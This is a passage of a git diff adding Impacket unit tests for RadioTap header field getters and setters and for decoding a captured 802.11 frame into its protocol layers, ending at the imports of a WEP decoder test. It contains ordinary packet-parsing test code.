+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.assertEqual(self.rt0.get_body_size(), len(self.frame_0)-24)
+        self.assertEqual(self.rt0.get_tail_size(), 0)
+        
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_body_size(), len(self.frame_1)-32)
+        self.assertEqual(self.rt1.get_tail_size(), 0)
+
+    def test_02_version(self):
+        """Test RadioTap version getter/setter"""
+        self.assertEqual(self.rt0.get_version(), 0x00)
+        self.rt0.set_version(1)
+        self.assertEqual(self.rt0.get_version(), 0x01)
+
+        self.assertEqual(self.rt1.get_version(), 0x00)
+        self.rt1.set_version(1)
+        self.assertEqual(self.rt1.get_version(), 0x01)
+
+    def test_03_present(self):
+        """Test RadioTap present getter"""
+        self.assertEqual(self.rt0.get_present(), 0x0000580e)
+        self.assertEqual(self.rt1.get_present(), 0x00040867)
+
+    def test_04_present_bits(self):
+        """Test RadioTap present bits tester"""
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_TSFT), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FLAGS), True)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_RATE), True)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_CHANNEL), True)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FHSS), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DBM_ANTSIGNAL), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DBM_ANTNOISE), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_LOCK_QUALITY), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_TX_ATTENUATION), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DB_TX_ATTENUATION), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DBM_TX_POWER), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_ANTENNA), True)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DB_ANTSIGNAL), True)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DB_ANTNOISE), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FCS_IN_HEADER), True)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_TX_FLAGS), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_RTS_RETRIES), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_DATA_RETRIES), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_XCHANNEL), False)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_EXT), False)
+
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TSFT), True)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_FLAGS), True)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_RATE), True)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_CHANNEL), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_FHSS), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DBM_ANTSIGNAL), True)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DBM_ANTNOISE), True)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_LOCK_QUALITY), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TX_ATTENUATION), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DB_TX_ATTENUATION), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DBM_TX_POWER), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_ANTENNA), True)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DB_ANTSIGNAL), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DB_ANTNOISE), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_FCS_IN_HEADER), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TX_FLAGS), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_RTS_RETRIES), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_DATA_RETRIES), False)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_XCHANNEL), True)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_EXT), False)
+
+    def test_05_tsft(self):
+        """Test RadioTap tstf getter"""
+        self.assertEqual(self.rt0.get_tsft(), None)
+        self.assertEqual(self.rt1.get_tsft(), 622461744)
+
+    def test_06_tsft(self):
+        """Test RadioTap tstf getter/setter"""
+        # When the field is new 
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.rt0.set_tsft(0x0102030405060708)
+        self.assertEqual(self.rt0.get_tsft(), 0x0102030405060708)
+        self.assertEqual(self.rt0.get_header_size(), 24+8)
+
+        # When exist the field
+        self.rt0.set_tsft(0x0807060504030201)
+        self.assertEqual(self.rt0.get_tsft(), 0x0807060504030201)
+        self.assertEqual(self.rt0.get_header_size(), 24+8)
+
+    def test_07_unset_fields(self):
+        """Test RadioTap unset field"""
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FLAGS), True)
+        self.rt0.unset_field(RadioTap.RTF_FLAGS)
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0)-1)
+        self.assertEqual(self.rt0.get_header_size(), 24-1)
+        self.assertEqual(self.rt0.get_present_bit(RadioTap.RTF_FLAGS), False)
+
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TSFT), True)
+        self.rt1.unset_field(RadioTap.RTF_TSFT)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)-8)
+        self.assertEqual(self.rt1.get_header_size(), 32-8)
+        self.assertEqual(self.rt1.get_present_bit(RadioTap.RTF_TSFT), False)
+
+    def test_08_flags_field(self):
+        """Test RadioTap flags getter/setter"""
+        # When exist the field
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.assertEqual(self.rt0.get_flags(), 0x10)
+        self.rt0.set_flags(0xAB)
+        self.assertEqual(self.rt0.get_flags(), 0xAB)
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_flags(), 0x22)
+        self.rt1.set_flags(0xAB)
+        self.assertEqual(self.rt1.get_flags(), 0xAB)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        # TODO: Test the size when the field is new
+
+    def test_09_rate_field(self):
+        """Test RadioTap rate getter/setter"""
+        # When exist the field
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.assertEqual(self.rt0.get_rate(), 0x6c)
+        self.rt0.set_rate(0xAB)
+        self.assertEqual(self.rt0.get_rate(), 0xAB)
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_rate(), 0x0c)
+        self.rt1.set_rate(0xAB)
+        self.assertEqual(self.rt1.get_rate(), 0xAB)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        # TODO: Test the size when the field is new
+
+    def test_10_channel_field(self):
+        """Test RadioTap channel getter/setter"""
+        # When exist the field
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.assertEqual(self.rt0.get_channel(), (2412, 0x0480))
+        self.rt0.set_channel(freq=1234, flags=0x5678)
+        self.assertEqual(self.rt0.get_channel(), (1234, 0x5678))
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_channel(), None)
+        self.rt1.set_channel(freq=1234, flags=0x5678)
+        self.assertEqual(self.rt1.get_channel(), (1234, 0x5678))
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+4)
+        self.assertEqual(self.rt1.get_header_size(), 32+4)
+
+    def test_11_fhss_field(self):
+        """Test RadioTap FHSS getter/setter"""
+        # TODO: When exist the field
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_FHSS(), None)
+        self.rt1.set_FHSS(hop_set=0xAB, hop_pattern=0xCD)
+        self.assertEqual(self.rt1.get_FHSS(), (0xAB, 0xCD))
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)
+        self.assertEqual(self.rt1.get_header_size(), 32+2)
+
+    def test_12_dbm_ant_signal_field(self):
+        """Test RadioTap dBm Antenna Signal getter/setter"""
+        # When exist the field
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_dBm_ant_signal(), 0xd9)
+        self.rt1.set_dBm_ant_signal(signal=0xF1)
+        self.assertEqual(self.rt1.get_dBm_ant_signal(), 0xF1)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+
+        # When the field is new 
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.assertEqual(self.rt0.get_dBm_ant_signal(), None)
+        self.rt0.set_dBm_ant_signal(signal=0xF1)
+        self.assertEqual(self.rt0.get_dBm_ant_signal(), 0xF1)
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0)+1)
+        self.assertEqual(self.rt0.get_header_size(), 24+1)
+
+    def test_13_dbm_ant_noise_field(self):
+        """Test RadioTap dBm Antenna Noise getter/setter"""
+        # When exist the field
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_dBm_ant_noise(), 0xa0)
+        self.rt1.set_dBm_ant_noise(signal=0xF1)
+        self.assertEqual(self.rt1.get_dBm_ant_noise(), 0xF1)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+
+        # When the field is new 
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.assertEqual(self.rt0.get_dBm_ant_noise(), None)
+        self.rt0.set_dBm_ant_noise(signal=0xF1)
+        self.assertEqual(self.rt0.get_dBm_ant_noise(), 0xF1)
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0)+1)
+        self.assertEqual(self.rt0.get_header_size(), 24+1)
+
+    def test_14_lock_quality_field(self):
+        """Test RadioTap Lock Quality getter/setter"""
+        # TODO: When exist the field
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_lock_quality(), None)
+        self.rt1.set_lock_quality(quality=0xABBA)
+        self.assertEqual(self.rt1.get_lock_quality(), 0xABBA)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)
+        self.assertEqual(self.rt1.get_header_size(), 32+2)
+
+    def test_15_tx_attenuation_field(self):
+        """Test RadioTap Tx Attenuation getter/setter"""
+        # TODO: When exist the field
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_tx_attenuation(), None)
+        self.rt1.set_tx_attenuation(power=0xABBA)
+        self.assertEqual(self.rt1.get_tx_attenuation(), 0xABBA)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)
+        self.assertEqual(self.rt1.get_header_size(), 32+2)
+
+    def test_16_dB_tx_attenuation_field(self):
+        """Test RadioTap dB Tx Attenuation getter/setter"""
+        # TODO: When exist the field
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_dB_tx_attenuation(), None)
+        self.rt1.set_dB_tx_attenuation(power=0xABBA)
+        self.assertEqual(self.rt1.get_dB_tx_attenuation(), 0xABBA)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)
+        self.assertEqual(self.rt1.get_header_size(), 32+2)
+
+    def test_17_dbm_tx_power_field(self):
+        """Test RadioTap dBm Tx Power getter/setter"""
+        # TODO: When exist the field
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_dBm_tx_power(), None)
+        self.rt1.set_dBm_tx_power(power=-8)
+        self.assertEqual(self.rt1.get_dBm_tx_power(), -8)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)
+        self.assertEqual(self.rt1.get_header_size(), 32+1)
+
+    def test_18_antenna_field(self):
+        """Test RadioTap Antenna getter/setter"""
+        # TODO: When the field is new
+        # When exist the field
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_antenna(), 0x02)
+        self.rt1.set_antenna(antenna_index=0xF1)
+        self.assertEqual(self.rt1.get_antenna(), 0xF1)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.assertEqual(self.rt0.get_antenna(), 0x00)
+        self.rt0.set_antenna(antenna_index=0xF1)
+        self.assertEqual(self.rt0.get_antenna(), 0xF1)
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+
+    def test_19_db_ant_signal_field(self):
+        """Test RadioTap dB Antenna Signal getter/setter"""
+        # When exist the field
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.assertEqual(self.rt0.get_dB_ant_signal(), 0x1e)
+        self.rt0.set_dB_ant_signal(signal=0xF1)
+        self.assertEqual(self.rt0.get_dB_ant_signal(), 0xF1)
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_dB_ant_signal(), None)
+        self.rt1.set_dB_ant_signal(signal=0xF1)
+        self.assertEqual(self.rt1.get_dB_ant_signal(), 0xF1)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)
+        self.assertEqual(self.rt1.get_header_size(), 32+1)
+
+    def test_20_db_ant_noise_field(self):
+        """Test RadioTap dB Antenna Noise getter/setter"""
+        # TODO: When exist the field
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_dB_ant_noise(), None)
+        self.rt1.set_dB_ant_noise(signal=0xF1)
+        self.assertEqual(self.rt1.get_dB_ant_noise(), 0xF1)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)
+        self.assertEqual(self.rt1.get_header_size(), 32+1)
+
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.assertEqual(self.rt0.get_dB_ant_noise(), None)
+        self.rt0.set_dB_ant_noise(signal=0xF1)
+        self.assertEqual(self.rt0.get_dB_ant_noise(), 0xF1)
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0)+1)
+        self.assertEqual(self.rt0.get_header_size(), 24+1)
+
+    # def test_21_rx_flags_field(self):
+    #     """Test RadioTap RX Flags getter/setter"""
+    #     # When the field is new
+    #     # TODO: When exist the field
+    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2))
+    #     self.assertEqual(self.rt2.get_header_size(),32)
+    #     self.assertEqual(self.rt2.get_rx_flags(),None)
+    #     self.rt2.set_rx_flags( signal=0xABBA )
+    #     self.assertEqual(self.rt2.get_rx_flags(),0xABBA)
+    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2)+2)
+    #     self.assertEqual(self.rt2.get_header_size(),32+2)
+
+    def test_22_fcs_in_header_field(self):
+        """Test RadioTap FCS in header getter/setter"""
+        # When exist the field
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        self.assertEqual(self.rt0.get_FCS_in_header(), 0x00000000)
+        self.rt0.set_FCS_in_header(fcs=0x89ABCDEF)
+        self.assertEqual(self.rt0.get_FCS_in_header(), 0x89ABCDEF)
+        self.assertEqual(self.rt0.get_size(), len(self.frame_0))
+        self.assertEqual(self.rt0.get_header_size(), 24)
+        
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_FCS_in_header(), None)
+        self.rt1.set_FCS_in_header(fcs=0x89ABCDEF)
+        self.assertEqual(self.rt1.get_FCS_in_header(), 0x89ABCDEF)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+4)
+        self.assertEqual(self.rt1.get_header_size(), 32+4)
+
+    # def test_23_rssi_field(self):
+    #     """Test RadioTap RSSI getter/setter"""
+    #     # When the field is new
+    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2))
+    #     self.assertEqual(self.rt2.get_header_size(),32)
+    #     self.assertEqual(self.rt2.get_RSSI(),None)
+    #     self.rt2.set_RSSI( rssi=0xBA, max_rssi=0xAB )
+    #     self.assertEqual(self.rt2.get_RSSI(),( 0xBA, 0xAB))
+    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2)+2)
+    #     self.assertEqual(self.rt2.get_header_size(),32+2)
+    #     # TODO: When exist the field
+
+    def test_24_rts_retries_field(self):
+        """Test RadioTap RTS retries getter/setter"""
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_RTS_retries(), None)
+        self.rt1.set_RTS_retries(retries=0xBA)
+        self.assertEqual(self.rt1.get_RTS_retries(), 0xBA)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)
+        self.assertEqual(self.rt1.get_header_size(), 32+1)
+        # TODO: When exist the field
+
+    def test_25_tx_flags_field(self):
+        """Test RadioTap TX flags getter/setter"""
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_tx_flags(), None)
+        self.rt1.set_tx_flags(flags=0xABBA)
+        self.assertEqual(self.rt1.get_tx_flags(), 0xABBA)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)
+        self.assertEqual(self.rt1.get_header_size(), 32+2)
+        # TODO: When exist the field
+
+    def test_26_xchannel_field(self):
+        """Test RadioTap xchannel getter/setter"""
+        (ch_type, ch_freq, ch_num, ch_maxpower) = self.rt1.get_xchannel()
+        self.assertEqual(ch_type, 0x00000140)
+        self.assertEqual(ch_freq, 5180)
+        self.assertEqual(ch_num, 36)
+        self.assertEqual(ch_maxpower, 0x11)
+        (ch_type, ch_freq, ch_num, ch_maxpower) = (0x12345678, 1234, 12, 34)
+        self.rt1.set_xchannel(flags=ch_type, freq=ch_freq, channel=ch_num, maxpower=ch_maxpower)
+        (nch_type, nch_freq, nch_num, nch_maxpower) = self.rt1.get_xchannel()
+        self.assertEqual(ch_type, nch_type)
+        self.assertEqual(ch_freq, nch_freq)
+        self.assertEqual(ch_num, nch_num)
+        self.assertEqual(ch_maxpower, nch_maxpower)
+
+    def test_27_data_retries_field(self):
+        """Test RadioTap Data retries getter/setter"""
+        # When the field is new 
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1))
+        self.assertEqual(self.rt1.get_header_size(), 32)
+        self.assertEqual(self.rt1.get_data_retries(), None)
+        self.rt1.set_data_retries(retries=0xAB)
+        self.assertEqual(self.rt1.get_data_retries(), 0xAB)
+        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)
+        self.assertEqual(self.rt1.get_header_size(), 32+1)
+        # TODO: When exist the field
+
+    # def test_28_hardware_queue_field(self):
+    #     """Test RadioTap Hardware Queue getter/setter"""
+    #     # When the field is new
+    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2))
+    #     self.assertEqual(self.rt2.get_header_size(),32)
+    #     self.assertEqual(self.rt2.get_hardware_queue(),None)
+    #     self.rt2.set_hardware_queue( queue=0xAB )
+    #     self.assertEqual(self.rt2.get_hardware_queue(),0xAB)
+    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2)+1)
+    #     self.assertEqual(self.rt2.get_header_size(),32+1)
+    #     # TODO: When exist the field
+
+    def test_29_radiotap_length_field(self):
+        """Test RadioTap header length field"""
+        # RadioTap from scratch calling get_length() and then get_packet()
+        rt = RadioTap()
+        # 0x08 bytes is the minimal headers size:
+        #   1 byte Revision
+        #   1 byte pad
+        #   2 bytes header length
+        #   4 bytes present flags
+        self.assertEqual(rt.get_header_length(), 0x08)
+        raw_packet = rt.get_packet()
+        self.assertEqual(raw_packet, b"\x00\x00\x08\x00\x00\x00\x00\x00")
+        # RadioTap from scratch without call to get_length()
+        raw_packet = RadioTap().get_packet()
+        self.assertEqual(raw_packet, b"\x00\x00\x08\x00\x00\x00\x00\x00")
+
+    def test_30_radiotap_length_filed_with_payload(self):
+        """Test RadioTap header length field with payload"""
+        # RadioTap from scratch calling get_length() and then get_packet()
+        rt = RadioTap()
+        self.assertEqual(rt.get_header_length(), 0x08) 
+        data = Data(b"aa")
+        rt.contains(data)
+        self.assertEqual(rt.get_header_length(), 0x08)  # The header length is the same
+        raw_packet = rt.get_packet()
+        self.assertEqual(raw_packet, b"\x00\x00\x08\x00\x00\x00\x00\x00aa")
+
+    def test_31_radiotap_present_flags_extended(self):
+        """Test RadioTap extended present flags"""
+        self.assertEqual(self.rt2.get_present_bit(RadioTap.RTF_EXT), True)
+        self.assertEqual(self.rt2.get_present_bit(RadioTap.RTF_RATE), True)
+        self.assertEqual(self.rt2.get_present_bit(RadioTap.RTF_CHANNEL), True)
+        self.assertEqual(self.rt2.get_channel(), (2412, 192))
+        self.assertEqual(self.rt2.get_rate(), 2)
+        self.assertEqual(self.rt2.get_dBm_ant_signal(), 0xa6)
+        self.assertEqual(self.rt3.get_present_bit(RadioTap.RTF_EXT), True)
+        self.assertEqual(self.rt3.get_present_bit(RadioTap.RTF_RATE), True)
+        self.assertEqual(self.rt3.get_present_bit(RadioTap.RTF_CHANNEL), True)
+        self.assertEqual(self.rt3.get_channel(), (2412, 192))
+        self.assertEqual(self.rt3.get_rate(), 2)
+        self.assertEqual(self.rt3.get_dBm_ant_signal(), 0xa6)
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_RadioTapDecoder.py b/tests/dot11/test_RadioTapDecoder.py
new file mode 100644
index 0000000..b79d4d7
--- /dev/null
+++ b/tests/dot11/test_RadioTapDecoder.py
@@ -0,0 +1,117 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+import impacket.dot11
+import impacket.ImpactPacket
+from impacket.ImpactDecoder import RadioTapDecoder
+
+
+class TestRadioTapDecoder(unittest.TestCase):
+
+    def setUp(self):
+        self.RadioTapData=b'\x00\x00\x20\x00\x67\x08\x04\x00\x30\x03\x1a\x25\x00\x00\x00\x00\x22\x0c\xd9\xa0\x02\x00\x00\x00\x40\x01\x00\x00\x3c\x14\x24\x11\x08\x02\x00\x00\xff\xff\xff\xff\xff\xff\x06\x03\x7f\x07\xa0\x16\x00\x19\xe3\xd3\x53\x52\x90\x7f\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x19\xe3\xd3\x53\x52\xa9\xfe\xf7\x00\x00\x00\x00\x00\x00\x00\x43\x08\x0e\x36'
+        self.radiotap_decoder = RadioTapDecoder()
+        self.in0=self.radiotap_decoder.decode(self.RadioTapData)
+        self.in1=self.in0.child()
+        self.in2=self.in1.child()
+        self.in3=self.in2.child()
+        self.in4=self.in3.child()
+        self.in5=self.in4.child()
+        self.in6=self.in5.child()
+        
+    def test_00(self):
+        'Test RadioTap decoder'
+        if PY2:
+            self.assertEqual(str(self.in0.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(self.in0.__class__), "<class 'impacket.dot11.RadioTap'>")
+        
+    def test_01(self):
+        'Test Dot11 decoder'
+        if PY2:
+            self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.in1.__class__), "<class 'impacket.dot11.Dot11'>")
+
+    def test_02(self):
+        'Test Dot11DataFrame decoder'
+        if PY2:
+            self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11DataFrame")
+        else:
+            self.assertEqual(str(self.in2.__class__), "<class 'impacket.dot11.Dot11DataFrame'>")
+    
+    def test_03(self):
+        'Test LLC decoder'
+        if PY2:
+            self.assertEqual(str(self.in3.__class__), "impacket.dot11.LLC")
+        else:
+            self.assertEqual(str(self.in3.__class__), "<class 'impacket.dot11.LLC'>")
+
+    def test_04(self):
+        'Test SNAP decoder'
+        if PY2:
+            self.assertEqual(str(self.in4.__class__), "impacket.dot11.SNAP")
+        else:
+            self.assertEqual(str(self.in4.__class__), "<class 'impacket.dot11.SNAP'>")
+
+#    def test_05(self):
+#        'Test ARP decoder'
+#        self.assertEqual(str(self.in5.__class__), "ImpactPacket.ARP")
+
+#    def test_05(self):
+#        'Test Data decoder'
+#        self.assertEqual(str(self.in6.__class__), "ImpactPacket.Data")
+        
+    def test_06(self):
+        'Test Protocol Finder'
+        p=self.radiotap_decoder.get_protocol(impacket.dot11.RadioTap)
+        if PY2:
+            self.assertEqual(str(p.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(p.__class__), "<class 'impacket.dot11.RadioTap'>")
+                
+        p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11)
+        if PY2:
+            self.assertEqual(str(p.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(p.__class__), "<class 'impacket.dot11.Dot11'>")
+        
+        p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11DataFrame)
+        if PY2:
+            self.assertEqual(str(p.__class__), "impacket.dot11.Dot11DataFrame")
+        else:
+            self.assertEqual(str(p.__class__), "<class 'impacket.dot11.Dot11DataFrame'>")
+        
+        p=self.radiotap_decoder.get_protocol(impacket.dot11.LLC)
+        if PY2:
+            self.assertEqual(str(p.__class__), "impacket.dot11.LLC")
+        else:
+            self.assertEqual(str(p.__class__), "<class 'impacket.dot11.LLC'>")
+        
+        p=self.radiotap_decoder.get_protocol(impacket.dot11.SNAP)
+        if PY2:
+            self.assertEqual(str(p.__class__), "impacket.dot11.SNAP")
+        else:
+            self.assertEqual(str(p.__class__), "<class 'impacket.dot11.SNAP'>")
+        
+        #p=self.radiotap_decoder.get_protocol(ImpactPacket.ARP)
+        #self.assertEqual(str(p.__class__), "ImpactPacket.ARP")
+        
+        #p=self.radiotap_decoder.get_protocol(ImpactPacket.Data)
+        #self.assertEqual(str(p.__class__), "ImpactPacket.Data")
+        
+        # When not found, None is returned
+        p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11WPA)
+        self.assertEqual(p, None)
+      
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_WEPDecoder.py b/tests/dot11/test_WEPDecoder.py
new file mode 100644
index 0000000..295f791
--- /dev/null
+++ b/tests/dot11/test_WEPDecoder.py
@@ -0,0 +1,148 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from binascii import unhexlify
+from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WEP,Dot11WEPData
+from impacket.ImpactPacket import IP,ICMP
+from impacket.Dot11KeyManager import KeyManager
